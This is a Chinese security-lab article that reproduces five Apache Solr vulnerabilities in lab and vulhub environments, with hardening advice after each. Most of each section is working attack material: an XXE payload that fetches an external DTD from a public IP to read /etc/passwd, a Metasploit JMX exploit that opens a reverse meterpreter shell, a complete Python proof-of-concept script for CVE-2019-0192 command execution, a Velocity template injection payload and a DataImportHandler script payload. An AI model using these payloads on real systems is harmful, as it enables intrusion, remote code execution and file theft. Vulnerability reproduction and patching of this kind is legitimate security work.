Solr系列漏洞复现-VTF-漏洞文库小世界-安全文库-NGC660 安全实验室

Solr系列漏洞复现-VTF

前言

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。同时对其进行了扩展,提供了比Lucene更为丰富的查询语言,同时实现了可配置、可扩展并对查询性能进行了优化,并且提供了一个完善的功能管理界面,是一款非常优秀的全文搜索引擎。

一、CVE-2017-12629-XXE

1.1 漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造任意PAYLOAD,导致可读取任意文件、命令执行、探测内网信息、攻击内网网站等危害。

1.2 影响版本

Apache Solr < 7.1
Apache Lucene < 7.1
包括:

RedhatSingle Sign-On 7.0
+ Redhat Linux 6.2 E sparc
+ Redhat Linux 6.2 E i386
+ Redhat Linux 6.2 E alpha
+ Redhat Linux 6.2 sparc
+ Redhat Linux 6.2 i386
+ Redhat Linux 6.2 alpha
Redhat JBoss Portal Platform 6
Redhat JBoss EAP 7 0
Redhat Jboss EAP 6
Redhat JBoss Data Grid 7.0.0
Redhat Enterprise Linux 6
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Redhat Collections for Red Hat EnterpriseLinux 0
Apache Solr 6.6.1
Apache Solr 6.6
Apache Solr 6.5.1
Apache Solr 6.5
Apache Solr 6.4
Apache Solr 6.3
Apache Solr 6.2
Apache Solr 6.6
Apache Solr 6.3
Apache Solr 6.0
ApacheLucene 0

1.3 危害等级

漏洞威胁级别:高

1.3 环境搭建

下载vulhub漏洞环境

#通过 git clone
git clone https://github.com/vulhub/vulhub.git
#或者直接下载ZIP压缩包
https://github.com/vulhub/vulhub/archive/master.zip

进入漏洞环境目录:solr

cd vulhub/solr/CVE-2017-12629-RCE

使用docker-compose运行漏洞环境

docker-compose up -d

命令执行完成后,访问http://your-ip:8983/即可查看到Apache solr的管理页面。

1.4 漏洞复现

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload):

GET /solr/demo/select?q=%3c%3fxml+version%3d%221.0%22+encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE+root+%5b%3c!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2fuulonw.dnslog.cn%2f%22%3e%25remote%3b%5d%3e%3croot%2f%3e&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

使用dnslog
发送payload:
1593595881655-2d4a0596-112f-4c96-8b0f-55ce56b09741

dnslog接收,如图:
1593595881724-82234d79-12fd-4e3d-bee1-9f058eefb58b

由此可证明XXE漏洞存在,进而可以利用XXE漏洞进行文件读取操作。
首先在攻击机(远程主机)部署外部实体ext.dtd,内容如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

然后访问链接:http://ip:8983/solr/demo/select?_=1592833740409&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f101.132.69.145%2fext.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser可以读取到/etc/passwd的文件内容。
1593595881803-1b55b0c9-107b-4656-a1be-29d57d084394

1.5 漏洞修复

1、添加Solr访问控制,包括禁止本地直接未授权访问;
2、升级版本至7.1,该版本已经解决了XML解析问题并删除了RunExecutableListener类;
3、针对XXE可手动修改CoreParser.java文件,按照通常防止基于DOM解析产生XXE的防范方法修复即可;

static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null;
    try {
      //protect from XXE attacks
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
      dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
      db = dbf.newDocumentBuilder();
    }
    catch (Exception se) {
      throw new ParserException("XML Parser configuration error", se);
    }
    org.w3c.dom.Document doc = null;
    try {
      doc = db.parse(pXmlFile);
    }

4、针对RCE问题,由于涉及的是SolrCloud所以建议在所有节点中添加filter,进行相关过滤。

1.6 参考资料

https://wiki.0-sec.org/#/md http://www.shangdixinxi.com/detail-1431717.html

二、CVE-2019-12409 Apache Solr 远程命令执行漏洞

2.1 漏洞成因

Java ManagementExtensions(JMX)是一种Java技术,为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。JMX作为Java的一种Bean管理机制,如果JMX服务端口暴露,那么远程攻击者可以让该服务器远程加载恶意的Bean文件,随着Bean的滥用导致远程代码执行。
Linux环境下的Apache Solr 8.1.1和8.2.0版本,存在默认不安全配置在solr.sh(ENABLE_REMOTE_JMX_OPTS="true"),将导致启用JMX监视服务并将公网监听一个18983的RMI端口,且无需进行任何身份验证。

2.2 影响范围

Solr 8.1.1
Solr 8.2.0

2.3 环境搭建

下载含有该漏洞的Solr,链接如下:
[https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip](https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip)
靶机:
Mac OS
IP:172.16.111.72
攻击机:
Linux kali
IP:10.211.55.5

2.4 漏洞复现

1、下载对应版本的Solr应用到靶机,进入到solr-8.2.0/bin目录下
查看solr.in.sh ,发现ENABLE_REMOTE_JMX_OPTS="true",该版本存在漏洞!
1593595881890-98a0de95-de1c-45e5-b4b8-945ddf161a93

2、启动服务,可正常访问网站,且solr版本为8.2.0,如图:
启动solr服务:➜ bin ./solr -e dih -force
1593595881958-54855248-484a-4d0a-9cac-5aa9cb8d717e

3、利用nmap扫描端口,确认18983端口开放
nmap -p 18983 -Pn -T5 -n -sC -sV 172.16.111.72 -sC -sV
1593595882019-6de8e9f2-763f-440f-9000-b709627afe7d

4、利用msf上exploit/multi/misc/java_jmx_server远程代码执行模块进行漏洞利用,成功执行代码,详情如下图:

msf5 > use multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > show options
Module options (exploit/multi/misc/java_jmx_server):
   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   JMXRMI        jmxrmi           yes       The name where the JMX RMI interface is bound
   JMX_PASSWORD                   no        The password to interact with an authenticated JMX endpoint
   JMX_ROLE                       no        The role to interact with an authenticated JMX endpoint
   RHOSTS                         yes       The target address range or CIDR identifier
   RPORT                          yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
Exploit target:
   Id  Name
   --  ----
   0   Generic (Java Payload)
msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS 172.16.111.72
RHOSTS => 172.16.111.72
msf5 exploit(multi/misc/java_jmx_server) > set RPORT 18983
RPORT => 18983
msf5 exploit(multi/misc/java_jmx_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_jmx_server) > set LHOST 10.211.55.5
LHOST => 10.211.55.5
msf5 exploit(multi/misc/java_jmx_server) > run
[*] Started reverse TCP handler on 10.211.55.5:4444
[*] 172.16.111.72:18983 - Using URL: http://0.0.0.0:8080/quDNjO14dnV
[*] 172.16.111.72:18983 - Local IP: http://10.211.55.5:8080/quDNjO14dnV
[*] 172.16.111.72:18983 - Sending RMI Header...
[*] 172.16.111.72:18983 - Discovering the JMXRMI endpoint...
[+] 172.16.111.72:18983 - JMXRMI endpoint on 172.16.111.72:18983
[*] 172.16.111.72:18983 - Proceeding with handshake...
[+] 172.16.111.72:18983 - Handshake with JMX MBean server on 172.16.111.72:18983
[*] 172.16.111.72:18983 - Loading payload...
[*] 172.16.111.72:18983 - Replied to request for mlet
[*] 172.16.111.72:18983 - Replied to request for payload JAR
[*] 172.16.111.72:18983 - Executing payload...
[*] Sending stage (53844 bytes) to 10.211.55.2
[*] Meterpreter session 1 opened (10.211.55.5:4444 -> 10.211.55.2:59367) at 2020-06-28 15:55:00 +0800
meterpreter > getuid
Server username: tidesec's Mac

1593595882070-da487f0a-8275-4ecb-b32f-cd51892773f5

1593595882172-99576ba5-f2cb-4aec-9639-a1142e40bf4c

2.5 加固建议

1、保证 Solr 集群只能被可信任端点访问;
2、启用 Solr JMX 服务身份验证;
3、关闭 Solr JMX 服务。

2.6 参考链接

https://www.cnblogs.com/dddjh/p/11896624.html

三、CVE-2019-0192 Apache Solr远程反序列化代码执行漏洞

3.1 漏洞描述

首先需要了解一下configAPI,主要功能是检索或修改配置。 GET负责检索,POST负责执行命令。通过传入set-property属性,构造恶意的数据,传入指向恶意的rmi服务器的链接,覆盖之前服务器的原设置,使得目标服务器与攻击者的恶意rmi服务器相连,攻击者可以使用ysoserial工具,通过rmi服务器向远端目标服务器发送命令,并在目标服务器上执行,实现远程命令执行。
根据描述先看看ConfigAPI
根据set-property的描述(https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties)

1593595882266-112d3a00-aaac-4b52-a37b-8646afedbf03

可以看到,如果已经设置了属性,此命令将覆盖前面的设置
1593595882353-a527cd3e-fef4-4666-bd56-1ff1c9fa93b8

漏洞触发点在JmxMonitoredMap.class中的newJMXConnectorServer函数中
1593595882437-e4367d20-d098-4fef-b92a-a682d842339b

在文档(https://docs.oracle.com/javase/7/docs/api/javax/management/remote/JMXConnectorServerFactory.html)中可以看到
参数部分:serviceurl用于指定新连接服务器的地址,environment是一组用于控制新连接器服务器行为的属性
返回部分:表示新连接器服务器的JMXConnectorServer。每次成功调用此方法都会生成不同的对象。
此函数可以让服务器与新的rmi服务器相连接,并且每次调用此函数都会产生一个不同的对象。所以当攻击者通过覆盖传入自己的rmi服务器地址,目标服务器就会与之相连,执行内部的命令。
指向了恶意rmi服务器之后,还需要solr的反序列化操作。在solrconfig的构造函数中可以看到
1593595882540-208f9083-b2ab-44c1-804f-2293316b3e11

创建了JmxConfiguration 对象赋值给jmxConfig
跟踪 jmxConfig 参数如下
1593595882610-2b94bc80-9976-40f6-bd43-f1bf572b39b8

跟入红框所示位置
1593595882705-afd5ca4c-1625-4d8a-a859-c4a27c9b2bf2

JmxMonitoredMap 的构造函数中就进行了 JMX 监控操作,可以触发 rmi 序列化

3.2 影响版本

5.0, 5.1, 5.2, 5.2.1, 5.3, 5.3.1, 5.3.2, 5.4, 5.4.1, 5.5, 5.5.1, 5.5.2, 5.5.3, 5.5.4, 5.5.5,6.0, 6.0.1, 6.1, 6.1.1, 6.2, 6.2.1, 6.3, 6.4, 6.4.1, 6.4.2, 6.5, 6.5.1, 6.6, 6.6.1, 6.6.2, 6.6.3,6.6.4, 6.6.5

3.3 环境搭建

https://www.hetianlab.com/expc.do?ce=90a4a001-15bf-4f3e-9aa1-8a4bd835bd4a Windows 7 IP地址:10.1.1.100
Kali,IP随机
软件工具:solr、Tomcat、Java环境、Python环境、ysoserial.jar

3.4 漏洞复现

将solr解压后的文件夹拷贝到Apache的webapps目录下
1593595882798-10426f15-a110-478e-821e-c48197fca8ae

然后打开cmd切换到solr的bin路径下
1593595882882-c563e7e2-6634-40f5-9a64-196d731fda43

输入solr -e techproducts -Dcom.sun.management.jmxremote
启动solr
1593595882957-08fb0ec7-e73e-413b-92d6-bc40cc68ba7a

会提示我们开放的端口
1593595883067-7526487d-554f-4b56-8096-0a141e4f2610

Web端访问solr的主界面
1593595883158-79292781-ba17-47c4-a7c2-2e7af7c3aac3

切换到ysoserial的路径下并用命令启动它
java -cp ysoserial.jar ysoserial.exploit.JRMPListener
1593595883226-1490f54f-a5b5-40c9-a30d-80d92583cad8

根据提示可知需要输入端口,类型,参数
端口我这里设置为1234,payload_type其实指的就是jdk的版本,实验室已经提前配好环境,所以直接照输为Jdk7u21,payload_args指我们希望执行的命令,我们设置为弹计算器,所以是calc.exe
完整的命令如下:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 Jdk7u21 calc.exe
1593595883310-49b96d99-ab6b-4ace-a279-80842ac97a6a

接下来切换到kali机器,使用python3运行漏洞poc脚本(https://github.com/mpgn/CVE-2019-0192/blob/master/CVE-2019-0192.py)进行攻击,源码:

import base64
import requests
import subprocess
import signal
import sys
import os
import time
import re
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
proxy = {
}
def exploit(command):
    print("\n Run the malicious RMI server using yoserial by running this command:")
    print("\n java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21" + command)
    
if __name__ == "__main__":
    print("\nCVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5\n")
    print("[+] Checking if ressource available =>", end=' ')
    burp0_url = remote + "/solr/admin/cores?wt=json"
    r = requests.get(burp0_url, proxies=proxy, verify=False, allow_redirects=False)
    if r.status_code == 200:
        if r.json()['status'] == "":
            print("KO")
            sys.exit()
        else:
            a = list(r.json()['status'].keys())
            ressource = "/solr/" + a[0] + "/config"
            print(ressource)
    else:
        print("KO")
        sys.exit()
    while True:
        try:
            command = input("command (\033[92mnot reflected\033[0m)> ")
            if command == "exit":
                print("Exiting...")
                break
            command = base64.b64encode(command.encode('utf-8'))
            command_str = command.decode('utf-8')
            command_str = command_str.replace('/', '+')
            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'cp /etc/passwd /tmp/passwd'", stdout=subprocess.PIPE,shell=True, preexec_fn=os.setsid)
            print("[+] Copy file to tmp directory =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                m = re.search('(undeclared checked exception; nested exception is)', r.text)
                if m:
                    print("\033[92mOK\033[0m")
                else:
                    print("\n[-] Error")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)
            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1cpwn /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
            print("[+] Preparing file =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)
            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i /[^pwn]/d /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
            print("[+] Cleaning temp file =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)
            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1s/pwn/{echo," +
                command_str + "}|{base64,-d}>pwn.txt/g /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
            print("[+] Writing command into temp file =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)
            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
            print("[+] Decode base64 command =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)
            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash pwn.txt'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
            print("[+] Executing command =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)
        except KeyboardInterrupt:
            print("Exiting...")
            break

1593595883386-e174dfd7-c4cc-4b06-b633-9c2ffe8efe80

直接回车即可
1593595883432-db7dc538-98c2-4aac-87c4-f5c2fbe4afdf

报错无关紧要,切回到win可以看到已经弹出计算器了
1593595883489-6beafa7e-b3fa-49e8-8b3d-a4b878e1b3fb

1593595883553-bf68a8d6-c798-41c7-8a20-367b5b14209f

3.5 加固建议

1、升级到Apache Solr7.0或更高版本。
2、通过使用系统属性disable.configEdit= true运行Solr,禁用ConfigAPI(如果未使用)。
3、如果升级或禁用ConfigAPI不可行,请应用SOLR-13301.patch并重新编译Solr。
4、确保配置了网络设置,以便只允许受信任的流量进入/退出运行Solr的主机。

四、CVE-2019-17558 Apache Solr Velocity模板注入远程命令执行漏洞

4.1 漏洞描述

该漏洞的产生是由于两方面的原因:
1、当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
2、Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

4.2 漏洞影响

经过测试,目前影响Apache Solr 8.1.1到8.2.0版本。
推测影响全版本Apache Solr。

4.3 环境搭建

靶机:Mac OS ip:172.16.111.72
攻击机:Mac OS ip:172.16.111.72
solr应用版本可直接使用上述CVE-2019-12409 Apache Solr 远程命令执行漏洞中的版本,部署启动方法见“章节2.4”。
1593595883692-e4d59339-7ff9-42c8-8463-9e80f11ec64b

4.4 漏洞复现

启动solr
1593595883898-0bd5bbc4-de9f-4ab1-b39a-81afa3cd272f

创建一个core,可以在网页创建,也可以在命令行下创建。这里演示下在命令行创建:
1593595883956-e435d8dc-9f4c-411e-825e-3c7f14a69f4f

可以看到成功创建.
网页创建core可参考:https://blog.csdn.net/weixin_39082031/article/details/78924909 访问验证我们的core是否创建成功:
1593595884031-7ac1f63e-4d6a-4350-8f8b-7e9b13f46743

可以看到已经成功创建!
访问solr站点,获取到其core名为test。访问该core的config路径(http://localhost:8983/solr/test/config),查看其配置,并搜索params.resource.loader.enabled参数:
1593595884099-94f65156-6d55-40e6-987e-7ed190ccac2d

可以看到其默认是关闭的。可以通过构造POST数据包来开启params.resource.loader.enabled
POST数据包:

POST /solr/test/config HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 258
{
	"update-queryresponsewriter": {
	"startup": "lazy",
	"name": "velocity",
	"class": "solr.VelocityResponseWriter",
	"template.base.dir": "",
	"solr.resource.loader.enabled": "true",
	"params.resource.loader.enabled": "true"
  }
}

1593595884211-c1ebc86f-e3b2-42ff-a04f-c0e69be5f64a

ok,更改稍后生效 !
重新访问,查看配置:
1593595884318-a45c5baf-0f37-48bf-b31e-1e3b8d72899c

可以看到我们构造的请求已经成功开启了params.resource.loader.enabled
利用GitHub上的payload进行命令执行:

select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

下图为执行ifconfig的截图:
1593595884420-57ebb019-b31e-4540-b6f0-620e7089de97

4.5 加固建议

1、建议用户设置solr后台为登陆认证!!!
限制互联网用户对solr admin的访问!
2、删除params.resource.loader.enabled的配置。

五、CVE-2019-0193 Apache Solr 远程命令执行漏洞

5.1 漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

5.2 影响版本

Apache Solr < 8.2.0

5.3 环境搭建

docker环境:https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193 docker-compose.yml

version: '2'
services:
 solr:
   image: vulhub/solr:8.1.1
   ports:
    - "8983:8983"

运行漏洞环境:

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db # 创建名为“test”的Core,并开启dataimport

命令执行成功后,需要等待一会,之后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。
1593595884549-b9c81d61-478c-4b84-b1b6-1f2a931630be

5.4 漏洞复现

首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

1593595884773-e87e3856-8dc4-41ba-a3ab-c79dd4a1212c

点击Execute with this Confuguration会发送以下请求包:

POST /solr/test/dataimport?_=1593410145891&indent=on&wt=json HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Origin: http://ip:port
Connection: close
Referer: http://ip:port/solr/
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

1593595884996-24501661-993a-4bd3-a6c2-3b75a9390360

命令执行成功,进入Docker查看success文件已创建。如图:
1593595885158-69a86668-6350-47bc-8faa-a929d4bbb6c0

请登录后发表评论

    请登录后查看回复内容